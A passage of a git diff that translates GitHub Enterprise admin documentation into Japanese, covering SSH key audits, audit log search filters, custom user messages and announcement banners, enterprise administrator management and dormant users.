   - /enterprise/admin/user-management/auditing-ssh-keys
@@ -15,51 +15,52 @@ topics:
   - Security
   - SSH
 ---
-Once initiated, the audit disables all existing SSH keys and forces users to approve or reject them before they're able to clone, pull, or push to any repositories. An audit is useful in situations where an employee or contractor leaves the company and you need to ensure that all keys are verified.
 
-## Initiating an audit
+監査が開始されると、現在の SSHキーがすべて無効となります。リポジトリのクローン、プル、プッシュといった操作をするためには、ユーザは SSH キーの承認または拒否をしなければなりません。 監査は、従業員の退職時や請負業者の撤収時など、すべてのキーを検証する必要があるときに役立ちます。
 
-You can initiate an SSH key audit from the "All users" tab of the site admin dashboard:
+## 監査を開始する
 
-![Starting a public key audit](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
+SSH キーの監査は、サイト管理ダッシュボードの [All users] タブから開始できます。
 
-After you click the "Start public key audit" button, you'll be taken to a confirmation screen explaining what will happen next:
+![公開鍵の監査の開始](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
 
-![Confirming the audit](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
+"Start public key audit（公開鍵の監査の開始）" のボタンをクリックしたら、その後の流れを説明する確認画面に移動します。
 
-After you click the "Begin audit" button, all SSH keys are invalidated and will require approval. You'll see a notification indicating the audit has begun.
+![監査の確認](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
 
-## What users see
+\[Begin audit\] (監査を開始) ボタンをクリックすると、すべての SSH キーは無効となり、承認が必要になります。 監査が始まったことを示す通知が表示されます。
 
-If a user attempts to perform any git operation over SSH, it will fail and provide them with the following message:
+## ユーザに対する表示
+
+ユーザがSSH経由で Git のオペレーションを実行した場合は、オペレーションが失敗し、次のメッセージが表示されます。
 
 ```shell
-ERROR: Hi <em>username</em>. We're doing an SSH key audit.
+ERROR: Hi <em>ユーザ名</em>. We're doing an SSH key audit.
 Please visit http(s)://<em>hostname</em>/settings/ssh/audit/2
 to approve this key so we know it's safe.
 Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
 fatal: The remote end hung up unexpectedly
 ```
 
-When they follow the link, they're asked to approve the keys on their account:
+ユーザがリンクをたどると、アカウントのキーを承認するよう要求されます。
 
-![Auditing keys](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
+![キーの監査](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
 
-After they approve or reject their keys, they'll be able interact with repositories as usual.
+キーを承認または拒否したら、今まで通りリポジトリを使えるようになります。
 
-## Adding an SSH key
+## SSH キーを追加する
 
-New users will be prompted for their password when adding an SSH key:
+新規ユーザは、SSHキーを追加する際にパスワードを要求されます。
 
-![Password confirmation](/assets/images/help/settings/sudo_mode_popup.png)
+![パスワードの確認](/assets/images/help/settings/sudo_mode_popup.png)
 
-When a user adds a key, they'll receive a notification email that will look something like this:
+ユーザがキーを追加したら、次のような通知メールが届きます。
 
     The following SSH key was added to your account:
-
+    
     [title]
     ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
-
+    
     If you believe this key was added in error, you can remove the key and disable access at the following location:
-
+    
     http(s)://HOSTNAME/settings/ssh
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
index b73c09ee99..08fa2ee5c0 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Auditing users across your enterprise
+title: Enterprise にわたるユーザの監査
 intro: 'The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the current month and previous six months. The audit log includes details such as who performed the action, what the action was, and when the action was performed.'
 redirect_from:
   - /enterprise/admin/guides/user-management/auditing-users-across-an-organization
@@ -18,102 +18,103 @@ topics:
   - User account
 shortTitle: Audit users
 ---
-## Accessing the audit log
 
-The audit log dashboard gives you a visual display of audit data across your enterprise.
+## Audit log にアクセスする
 
-![Instance wide audit log dashboard](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
+Audit log ダッシュボードには、Enterprise 全体の監査データが表示されます。
+
+![インスタンスにわたるAudit logのダッシュボード](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
 
-Within the map, you can pan and zoom to see events around the world. Hover over a country to see a quick count of events from that country.
+地図内では、世界中のイベントを見るためにパンやズームができます。 国にカーソルを合わせれば、その国のイベントの簡単な集計が表示されます。
 
-## Searching for events across your enterprise
+## Enterprise にわたるイベントの検索
 
-The audit log lists the following information about actions made within your enterprise:
+Audit log には、Enterprise 内で行われたアクションに関する次の情報が一覧表示されます。
 
-* [The repository](#search-based-on-the-repository) an action was performed in
-* [The user](#search-based-on-the-user) who performed the action
-* [Which organization](#search-based-on-the-organization) an action pertained to
-* [The action](#search-based-on-the-action-performed) that was performed
-* [Which country](#search-based-on-the-location) the action took place in
-* [The date and time](#search-based-on-the-time-of-action) the action occurred
+* アクションが行われた[リポジトリ](#search-based-on-the-repository)
+* アクションを行った[ユーザ](#search-based-on-the-user)
+* アクションに関係する[Organization](#search-based-on-the-organization)
+* 行われた[アクション](#search-based-on-the-action-performed)
+* アクションが行われた[国](#search-based-on-the-location)
+* アクションが生じた[日時](#search-based-on-the-time-of-action)
 
 {% warning %}
 
-**Notes:**
+**ノート:**
 
-- While you can't use text to search for audit entries, you can construct search queries using a variety of filters. {% data variables.product.product_name %} supports many operators for searching across {% data variables.product.product_name %}. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+- Audit logのエントリはテキストを使った検索はできませんが、様々なフィルタを使って検索クエリを構築できます。 {% data variables.product.product_name %} は、{% data variables.product.product_name %} 全体を検索するための多くの演算子をサポートしています。 詳細は「[{% data variables.product.prodname_dotcom %} での検索について](/github/searching-for-information-on-github/about-searching-on-github)」を参照してください。
 - Audit records are available for the current month and every day of the previous six months.
 
 {% endwarning %}
 
-### Search based on the repository
+### リポジトリに基づく検索
 
-The `repo` qualifier limits actions to a specific repository owned by your organization. For example:
+`repo` 修飾子は、Organization が所有する特定のリポジトリにアクションを制限します。 例:
 
-* `repo:my-org/our-repo` finds all events that occurred for the `our-repo` repository in the `my-org` organization.
-* `repo:my-org/our-repo repo:my-org/another-repo` finds all events that occurred for both the `our-repo` and `another-repo` repositories in the `my-org` organization.
-* `-repo:my-org/not-this-repo` excludes all events that occurred for the `not-this-repo` repository in the `my-org` organization.
+* `repo:my-org/our-repo`は`my-org` Organization内の`our-repo`リポジトリで起きたすべてのイベントを検索します。
+* `repo:my-org/our-repo repo:my-org/another-repo`は、`my-org` Organization内の`our-repo`及び`another-repo`の両リポジトリ内で起きたすべてのイベントを検索します。
+* `-repo:my-org/not-this-repo`は、`my-org` Organization内の`not-this-repo`リポジトリで起きたすべてのイベントを除外します。
 
-You must include your organization's name within the `repo` qualifier; searching for just `repo:our-repo` will not work.
+`repo`修飾子内には、Organizationの名前を含めなければなりません。単に`repo:our-repo`として検索することはできません。
 
-### Search based on the user
+### ユーザーに基づく検索
 
-The `actor` qualifier scopes events based on the member of your organization that performed the action. For example:
+`actor` 修飾子は、アクションを実行した Organization のメンバーに基づいてイベントの範囲を設定します。 例:
 
-* `actor:octocat` finds all events performed by `octocat`.
-* `actor:octocat actor:hubot` finds all events performed by both `octocat` and `hubot`.
-* `-actor:hubot` excludes all events performed by `hubot`.
+* `actor:octocat`は`octocat`が行ったすべてのイベントを検索します。
+* `actor:octocat actor:hubot`は、`octocat`及び`hubot`が行ったすべてのイベントを検索します。
+* `-actor:hubot`は、`hubot`が行ったすべてのイベントを除外します。
 
-You can only use a {% data variables.product.product_name %} username, not an individual's real name.
+使用できるのは {% data variables.product.product_name %} ユーザ名のみで、個人の本当の名前ではありません。
 
-### Search based on the organization
+### Organizationに基づく検索
 
-The `org` qualifier limits actions to a specific organization. For example:
+`org` 修飾子は、特定の Organization にアクションを限定します。 例:
 
-* `org:my-org` finds all events that occurred for the `my-org` organization.
-* `org:my-org action:team` finds all team events performed within the `my-org` organization.
-* `-org:my-org` excludes all events that occurred for the `my-org` organization.
+* `org:my-org` は `my-org` という Organization で生じたすべてのイベントを検索します。
+* `org:my-org action:team`は`my-org`というOrganization内で行われたすべてのteamイベントを検索します。
+* `-org:my-org` は `my-org` という Organization で生じたすべてのイベントを除外します。
 
-### Search based on the action performed
+### 実行されたアクションに基づく検索
 
-The `action` qualifier searches for specific events, grouped within categories. For information on the events associated with these categories, see "[Audited actions](/admin/user-management/audited-actions)".
+`action`修飾子は、特定のイベントをカテゴリ内でグループ化して検索します。 以下のカテゴリに関連するイベントの詳しい情報については「[監査済みのアクション](/admin/user-management/audited-actions)」を参照してください。
 
-| Category name | Description
-|------------------|-------------------
-| `hook` | Contains all activities related to webhooks.
-| `org` | Contains all activities related organization membership
-| `repo` | Contains all activities related to the repositories owned by your organization.
-| `team` | Contains all activities related to teams in your organization.
+| カテゴリ名  | 説明                                           |
+| ------ | -------------------------------------------- |
+| `フック`  | webhookに関連するすべてのアクティビティを含みます。                |
+| `org`  | Organizationのメンバーシップに関連するすべてのアクティビティを含みます。   |
+| `repo` | Organizationが所有するリポジトリに関連するすべてのアクティビティを含みます。 |
+| `Team` | Organization内のチームに関連するすべてのアクティビティを含みます。      |
 
-You can search for specific sets of actions using these terms. For example:
+次の用語を使用すれば、特定の一連の行動を検索できます。 例:
 
-* `action:team` finds all events grouped within the team category.
-* `-action:billing` excludes all events in the billing category.
+* `action:team`はteamカテゴリ内でグループ化されたすべてのイベントを検索します。
+* `-action:billing`はbillingカテゴリ内のすべてのイベントを除外します。
 
-Each category has a set of associated events that you can filter on. For example:
+各カテゴリには、フィルタリングできる一連の関連イベントがあります。 例:
 
-* `action:team.create` finds all events where a team was created.
-* `-action:billing.change_email` excludes all events where the billing email was changed.
+* `action:team.create`はTeamが作成されたすべてのイベントを検索します。
+* `-action:billing.change_email`は課金のメールが変更されたすべてのイベントを検索します。
 
-### Search based on the location
+### 場所に基づく検索
 
-The `country` qualifier filters actions by the originating country.
-- You can use a country's two-letter short code or its full name.
-- Countries with spaces in their name must be wrapped in quotation marks. For example:
-  * `country:de` finds all events that occurred in Germany.
-  * `country:Mexico` finds all events that occurred in Mexico.
-  * `country:"United States"` all finds events that occurred in the United States.
+`country`修飾子は、発生元の国によってアクションをフィルタリングします。
+- 国の 2 文字のショートコードまたはフル ネームを使用できます。
+- 名前に空白を含む国は、引用符で囲まなければなりません。 例:
+  * `country:de` は、ドイツで発生したイベントをすべて検索します。
+  * `country:Mexico` はメキシコで発生したすべてのイベントを検索します。
+  * `country:"United States"` はアメリカ合衆国で発生したすべてのイベントを検索します。
 
-### Search based on the time of action
+### アクションの時刻に基づく検索
 
-The `created` qualifier filters actions by the time they occurred.
-- Define dates using the format of `YYYY-MM-DD`--that's year, followed by month, followed by day.
-- Dates support [greater than, less than, and range qualifiers](/enterprise/{{ currentVersion }}/user/articles/search-syntax). For example:
-  * `created:2014-07-08` finds all events that occurred on July 8th, 2014.
-  * `created:>=2014-07-01` finds all events that occurred on or after July 8th, 2014.
-  * `created:<=2014-07-01` finds all events that occurred on or before July 8th, 2014.
-  * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
+`created`修飾子は、発生した時刻でアクションをフィルタリングします。
+- 日付には `YYYY-MM-DD` という形式を使います。これは、年の後に月、その後に日が続きます。
+- 日付では[大なり、小なりおよび範囲指定](/enterprise/{{ currentVersion }}/user/articles/search-syntax)を使用できます。 例:
+  * `created:2014-07-08` は、2014 年 7 月 8 日に発生したイベントをすべて検索します。
+  * `created:>=2014-07-01` は、2014 年 7 月 1 日かそれ以降に生じたすべてのイベントを検索します。
+  * `created:<=2014-07-01`は、2014 年 7 月 1 日かそれ以前に生じたすべてのイベントを検索します。
+  * `created:2014-07-01..2014-07-31`は、2014 年 7 月に起きたすべてのイベントを検索します。
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
index f6396f94cc..365b260e06 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
@@ -1,12 +1,12 @@
 ---
-title: Customizing user messages for your enterprise
+title: Enterprise のユーザメッセージをカスタマイズする
 shortTitle: Customizing user messages
 redirect_from:
   - /enterprise/admin/user-management/creating-a-custom-sign-in-message
   - /enterprise/admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-for-your-enterprise
-intro: 'You can create custom messages that users will see on {% data variables.product.product_location %}.'
+intro: '{% data variables.product.product_location %} でユーザに表示されるカスタムメッセージを作成できます。'
 versions:
   ghes: '*'
   ghae: '*'
@@ -15,69 +15,64 @@ topics:
   - Enterprise
   - Maintenance
 ---
-## About user messages
 
-There are several types of user messages.
-- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %}
+## ユーザメッセージについて
+
+ユーザメッセージにはいくつかの種類があります。
+- {% ifversion ghes %}サインインまたは{% endif %}サインアウトページ{% ifversion ghes or ghae %}に表示されるメッセージ
 - Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %}
-- Announcement banners, which appear at the top of every page{% endif %}
+- すべてのページの上部に表示されるアナウンスバナー{% endif %}
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}.
+**メモ:** 認証に SAML を使っている場合は、サインインページはアイデンティティプロバイダによって提示されるため、{% data variables.product.prodname_ghe_server %} でカスタマイズすることはできません。
 
 {% endnote %}
 
-You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)."
+メッセージの書式設定には Markdown を使用できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %}での執筆とフォーマットについて](/articles/about-writing-and-formatting-on-github/)」を参照してください。
 
-## Creating a custom sign in message
+## カスタムサインインメッセージの作成
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**.
-![{% ifversion ghes %}Add{% else %}Edit{% endif %} message button](/assets/images/enterprise/site-admin-settings/edit-message.png)
-6. Under **Sign in message**, type the message you'd like users to see.
-![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
+5. {% ifversion ghes %}[Sign in page] の右側{% else %}下{% endif %}にある [**Add message**] または [**Edit message**] をクリックします。 ![{% ifversion ghes %}[Add]{% else %}[Edit]{% endif %} メッセージボタン](/assets/images/enterprise/site-admin-settings/edit-message.png)
+6. [**Sign in message**] の下に、ユーザに見せたいメッセージを入力します。 ![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
-8. Review the rendered message.
-![Sign in message rendered](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
+  ![プレビューボタン](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
+8. 表示されたメッセージを確認します。 ![サインインメッセージの表示](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 {% endif %}
 
-## Creating a custom sign out message
+## カスタムサインアウトメッセージを作成する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**.
-![Add message button](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
-6. Under **Sign out message**, type the message you'd like users to see.
-![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
+5. {% ifversion ghes or ghae %}[Sign in page] の右側{% else %}下{% endif %}にある [**Add message**] または [**Edit message**] をクリックします。 ![[Add message] ボタン](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
+6. [**Sign out message**] の下に、ユーザに見せたいメッセージを入力します。 ![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
-8. Review the rendered message.
-![Sign out message rendered](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
+  ![プレビューボタン](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
+8. 表示されたメッセージを確認します。 ![サインアウトメッセージの表示](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a mandatory message
+## 必須メッセージを作成する
 
-You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before the user can use {% data variables.product.product_location %}.
+メッセージを保存した後に初めてサインインしたときに、すべてのユーザに表示される必須メッセージを {% data variables.product.product_name %} で作成できます。 メッセージはポップアップウィンドウ内に表示され、ユーザは {% data variables.product.product_location %} を使用する前に閉じる必要があります。
 
-Mandatory messages have a variety of uses.
+必須メッセージにはさまざまな用途があります。
 
-- Providing onboarding information for new employees
-- Telling users how to get help with {% data variables.product.product_location %}
-- Ensuring that all users read your terms of service for using {% data variables.product.product_location %}
+- 新入社員にオンボーディング情報を提供する
+- {% data variables.product.product_location %} のヘルプの取得方法をユーザに伝える
+- すべてのユーザが {% data variables.product.product_location %} を使用時の利用規約を確実に読むようにする
 
-If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms.
+メッセージに Markdown チェックボックスを含める場合、ユーザがメッセージを閉じる前に、すべてのチェックボックスを選択する必要があります。 たとえば、必須メッセージに利用規約を含める場合、各ユーザにチェックボックスを選択して、ユーザが利用規約を読んだことを確認するように要求できます。
 
-Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audited actions](/admin/user-management/audited-actions)."
+ユーザに必須メッセージが表示されるたびに、監査ログイベントが作成されます。 イベントには、ユーザが表示したメッセージのバージョンが含まれます。 詳しい情報については、「[監査されたアクション](/admin/user-management/audited-actions)」を参照してください。
 
 {% note %}
 
@@ -88,35 +83,30 @@ Each time a user sees a mandatory message, an audit log event is created. The ev
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. To the right of "Mandatory message", click **Add message**.
-  ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
-1. Under "Mandatory message", in the text box, type your message.
-  ![Mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
+1. [Mandatory message] の右側にある [**Add message**] をクリックします。 ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
+1. [Mandatory message] の下のテキストボックスに、メッセージを入力します。 ![Mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 
 {% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a global announcement banner
+## グローバルアナウンスバナーを作成する
 
-You can set a global announcement banner to be displayed to all users at the top of every page.
+各ページの上部にグローバルアナウンスバナーを設定し、すべてのユーザに対して表示できます。
 
 {% ifversion ghae or ghes %}
-You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. 詳しい情報については、{% ifversion ghes %}「[コマンドラインユーティリティ](/enterprise/admin/configuration/command-line-utilities#ghe-announce)」および{% endif %}「[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#announcements)」を参照してください。
 {% else %}
 
-You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)."
+コマンドラインユーティリティを使用して、管理シェルでアナウンスバナーを設定することもできます。 詳しい情報については、「[コマンドラインユーティリティ](/enterprise/admin/configuration/command-line-utilities#ghe-announce)」を参照してください。
 
 {% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**.
-  ![Add announcement button](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
-1. Under "Announcement", in the text field, type the announcement you want displayed in a banner.
-  ![Text field to enter announcement](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
-1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date.
-  ![Calendar drop-down menu to choose expiration date](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
+1. {% ifversion ghes or ghae %}[Announcement] の右側{% else %}下{% endif %}にある [**Add announcement**] をクリックします。 ![[Add message] ボタン](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
+1. [Announcement] のテキストフィールドに、バナーに表示するお知らせを入力します。 ![アナウンスを入力するテキストフィールド](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
+1. 必要に応じて、[Expires on] でカレンダーのドロップダウンメニューを選択し、有効期限をクリックします。 ![有効期限を選択するためのカレンダードロップダウンメニュー](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 {% endif %}
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/index.md
index 4b8443a834..d748181a27 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/index.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing users in your enterprise
-intro: You can audit user activity and manage user settings.
+title: Enterprise のユーザを管理する
+intro: ユーザアクティビティを監査し、ユーザ設定を管理できます。
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise
   - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons
@@ -35,3 +35,4 @@ children:
   - /rebuilding-contributions-data
 shortTitle: Manage users
 ---
+
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
index bdb7d0b4f9..299e6da6f0 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Inviting people to manage your enterprise
+title: Enterprise を管理するようユーザを招待する
 intro: 'You can {% ifversion ghec %}invite people to become enterprise owners or billing managers for{% elsif ghes %}add enterprise owners to{% endif %} your enterprise account. You can also remove enterprise owners {% ifversion ghec %}or billing managers {% endif %}who no longer need access to the enterprise account.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
@@ -38,7 +37,7 @@ If your enterprise uses {% data variables.product.prodname_emus %}, enterprise o
 
 {% tip %}
 
-**Tip:** For more information on managing users within an organization owned by your enterprise account, see "[Managing membership in your organization](/articles/managing-membership-in-your-organization)" and "[Managing people's access to your organization with roles](/articles/managing-peoples-access-to-your-organization-with-roles)."
+**ヒント:** Enterprise アカウントが所有する Organization 内のユーザを管理する方法に関する詳しい情報については、「[Organization でメンバーシップを管理する](/articles/managing-membership-in-your-organization)」および「[Organization への人々のアクセスをロールで管理する](/articles/managing-peoples-access-to-your-organization-with-roles)」を参照してください。
 
 {% endtip %}
 
@@ -48,33 +47,28 @@ If your enterprise uses {% data variables.product.prodname_emus %}, enterprise o
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
-1. In the left sidebar, click **Administrators**.
-  ![Administrators tab in the left sidebar](/assets/images/help/business-accounts/administrators-tab.png)
+1. 左サイドバーで [**Administrators**] をクリックします。 ![左サイドバーの [Administrators] タブ](/assets/images/help/business-accounts/administrators-tab.png)
 1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}.
   {% ifversion ghec %}
   !["Invite admin" button above the list of enterprise owners](/assets/images/help/business-accounts/invite-admin-button.png)
   {% elsif ghes %}
   !["Add owner" button above the list of enterprise owners](/assets/images/help/business-accounts/add-owner-button.png)
   {% endif %}
-1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results.
-  ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
-1. Select **Owner** or **Billing Manager**.
-  ![Modal box with role choices](/assets/images/help/business-accounts/invite-admins-roles.png)
-1. Click **Send Invitation**.
-  ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
-1. Click **Add**.
-  !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
+1. Enterprise 管理者として招待する人のユーザ名、フルネーム、またはメール アドレスを入力して、表示された結果から適切な人を選びます。 ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
+1. [**Owner**] または [**Billing Manager**] を選択します。 ![ロールの選択肢が表示されたモーダルボックス](/assets/images/help/business-accounts/invite-admins-roles.png)
+1. [**Send Invitation**] をクリックします。 ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
+1. [**Add**] をクリックします。 !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
 
-## Removing an enterprise administrator from your enterprise account
+## Enterprise アカウントから Enterprise 管理者を削除する
 
-Only enterprise owners can remove other enterprise administrators from the enterprise account.
+Enterprise アカウントから他の Enterprise 管理者を削除できるのは、Enterprise オーナーだけです。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
 1. Next to the username of the person you'd like to remove, click {% octicon "gear" aria-label="The Settings gear" %}, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
   {% ifversion ghec %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/remove-admin.png)
+  ![Enterprise 管理者を削除するためのメニュー オプション付きの設定「歯車」アイコン](/assets/images/help/business-accounts/remove-admin.png)
   {% elsif ghes %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png)
+  ![Enterprise 管理者を削除するためのメニュー オプション付きの設定「歯車」アイコン](/assets/images/help/business-accounts/ghes-remove-owner.png)
   {% endif %}
 1. Read the confirmation, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
index ce92ba1dc4..fbe73981b0 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
@@ -1,5 +1,5 @@
 ---
-title: Managing dormant users
+title: 休眠ユーザの管理
 redirect_from:
   - /enterprise/admin/articles/dormant-users
   - /enterprise/admin/articles/viewing-dormant-users
@@ -17,29 +17,26 @@ topics:
   - Enterprise
   - Licensing
 ---
+
 {% data reusables.enterprise-accounts.dormant-user-activity %}
 
 {% ifversion ghes or ghae%}
-## Viewing dormant users
+## 休眠ユーザの表示
 
 {% data reusables.enterprise-accounts.viewing-dormant-users %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
